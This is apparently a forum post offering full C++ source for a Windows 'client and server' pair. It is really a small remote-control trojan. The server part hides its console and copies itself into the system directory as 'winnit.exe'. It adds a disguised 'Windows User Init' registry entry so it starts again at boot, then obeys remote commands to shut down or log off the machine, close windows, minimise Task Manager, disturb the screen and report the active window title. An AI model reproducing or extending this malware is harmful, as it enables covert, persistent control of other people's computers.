[C++]Basic Client and Server
Client
Code:
#include <stdio.h>
#include "winsock2.h"
#include <iostream>
#define WIN32_LEAN_AND_MEAN
using namespace std;
sockaddr_in Client;
SOCKET ClientSocket;
int main()
{
WSADATA wsaData;
if ( WSAStartup( MAKEWORD(2,2), &wsaData ) != NO_ERROR )
{
printf("Error at WSAStartup()\n");
}
ClientSocket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( ClientSocket == INVALID_SOCKET )
{
printf( "Error at socket(): %ld\n", WSAGetLastError() );
WSACleanup();
return 1;
}
Client.sin_port=htons(44444);
Client.sin_addr.s_addr=INADDR_ANY;
Client.sin_family=AF_INET;
if ( connect( ClientSocket, (SOCKADDR*) &Client, sizeof(Client) ) == SOCKET_ERROR)
{
printf( "Failed to connect.\n" );
WSACleanup();
return 1;
}
printf("Server Connected\n");
char sendbuf[50];
char recvbuf[50] = "";
int bytesRecv = SOCKET_ERROR;
while(sendbuf!=0)
{
printf("msg - messagebox\ninvert - inverts the screen\nmouse - moves mouse\n");
printf("logoff - logs the computer off\nshutdown - shuts the computer off\n");
printf("close_window - closes current window\nhide_task - hides taskbar\n");
printf("make_black - makes current window black\nopen_cd - opens cd\n");
printf("close_cd - closes cd\nget_window - returns current window title\n");
printf("Root: ");
scanf("%s",&sendbuf);
send( ClientSocket, sendbuf, strlen(sendbuf), 0 );
bytesRecv=recv( ClientSocket, recvbuf, 20, 0 );
if ( bytesRecv == -1 )
{
printf( "Connection Closed.\n");
return 1;
}
printf("Root: %s",recvbuf);
}
}
Server
Code:
#include <windows.h>
#include <winsock2.h>
#include <winsock.h>
#include <fstream>
#define BACKLOG 5
#define WIN32_LEAN_AND_MEAN
void Startup();
SOCKET ServerSocket;
struct sockaddr_in server;
int WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
HWND hwnd;
WSAData wsdata;
char Send[MAX_PATH];
char Recv[MAX_PATH];
char Data[MAX_PATH];
char * Success = "Success";
int systemWidth = GetSystemMetrics(SM_CXSCREEN);
int systemHeight = GetSystemMetrics(SM_CYSCREEN);
hwnd=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(hwnd,0);
if(WSAStartup(MAKEWORD(2,2), &wsdata) !=0)
{
MessageBox(NULL, "Initalization error !", "OMG U Gots Teh Error!", MB_OK | MB_ICONWARNING);
WSACleanup();
}
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(ServerSocket == INVALID_SOCKET)
{
MessageBox(NULL, "Socket error !", "OMG U Gots Teh Error!(Invalid Socket)",MB_OK | MB_ICONWARNING);
WSACleanup();
}
server.sin_port=htons(44444);
server.sin_addr.s_addr=INADDR_ANY;
server.sin_family=AF_INET;
if (bind(ServerSocket,(sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
{
MessageBox(NULL, "Socket bind error !", "OMG U Gots Teh Error!",MB_OK | MB_ICONWARNING);
WSACleanup();
}
int svr = sizeof(server);
accept(ServerSocket,(sockaddr*)&server, &svr);
Startup();
Sleep(10);
while(1)
{
recv(ServerSocket,Recv,sizeof(Recv),0);
if (strcmp(Recv, "msg") == 0)
{
MessageBox(NULL, "You Can't Hide", "RAWR",MB_ICONWARNING);
send(ServerSocket,Success,sizeof(Success),0);
continue;
}
if (strcmp(Recv, "invert") == 0)
{
HDC hdc = GetWindowDC(NULL);
PatBlt(hdc, 0, 0, GetDeviceCaps(hdc, HORZRES), GetDeviceCaps(hdc, VERTRES), DSTINVERT);
Sleep(500);
ReleaseDC(NULL, hdc);
send(ServerSocket,Success,sizeof(Success),0);
continue;
}
if (strcmp(Recv, "mouse") == 0)
{
SetCursorPos(rand()%systemWidth, rand()%systemHeight);
send(ServerSocket,Success,sizeof(Success),0);
continue;
}
if (strcmp(Recv, "logoff") == 0)
{
ExitWindows(0,0);
send(ServerSocket,Success,sizeof(Success),0);
closesocket(ServerSocket);
break;
}
if (strcmp(Recv, "shutdown") == 0)
{
InitiateSystemShutdown(NULL,"Fatal Error",1,TRUE,FALSE);
send(ServerSocket,Success,sizeof(Success),0);
closesocket(ServerSocket);
break;
}
if (strcmp(Recv, "close_window") == 0)
{
SendMessage(HWND_BROADCAST,WM_QUIT,0,0);
send(ServerSocket,Success,sizeof(Success),0);
continue;
}
if (strcmp(Recv, "hide_task") == 0)
{
hwnd = FindWindow(NULL, "Windows Task Manager");
if (hwnd != NULL)
{
CloseWindow(hwnd);
}
send(ServerSocket,Success,sizeof(Success),0);
continue;
}
if (strcmp(Recv, "make_black") == 0)
{
int x = 0;
int y = 0;
HWND hwnd = GetForegroundWindow();
HDC thMain = GetDC(hwnd);
for (int i=0;i<200000;i++)
{
x = rand()%systemWidth;
y = rand()%systemHeight;
SetPixel(thMain, x, y, RGB(0, 0, 0));
}
send(ServerSocket,Success,sizeof(Success),0);
continue;
}
if (strcmp(Recv, "open_cd") == 0)
{
mciSendString("set CDAudio door open", NULL, 0, NULL);
send(ServerSocket,Success,sizeof(Success),0);
continue;
}
if (strcmp(Recv, "close_cd") == 0)
{
mciSendString("set CDAudio door closed", NULL, 0, NULL);
send(ServerSocket,Success,sizeof(Success),0);
continue;
}
if (strcmp(Recv, "get_window") == 0)
{
HWND Window = GetForegroundWindow();
GetWindowText(Window, Data, MAX_PATH);
send(ServerSocket, Data, sizeof(Data), 0);
send(ServerSocket,Success,sizeof(Success),0);
continue;
}
}
}
void Startup()
{
char path[MAX_PATH];
HMODULE GetModH = GetModuleHandle(0);
GetModuleFileName(GetModH, path, 256);
HKEY hKey;
char sd[255];
GetSystemDirectory(sd,255);
strcat(sd,"\\winnit.exe");
CopyFile(path,sd,FALSE);
unsigned char PathToFile[20] = "winnit.exe";
RegOpenKeyEx( HKEY_LOCAL_MACHINE,"\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey,"Windows User Init",0,REG_SZ,PathToFile,sizeof(PathToFile));
RegCloseKey(hKey);
}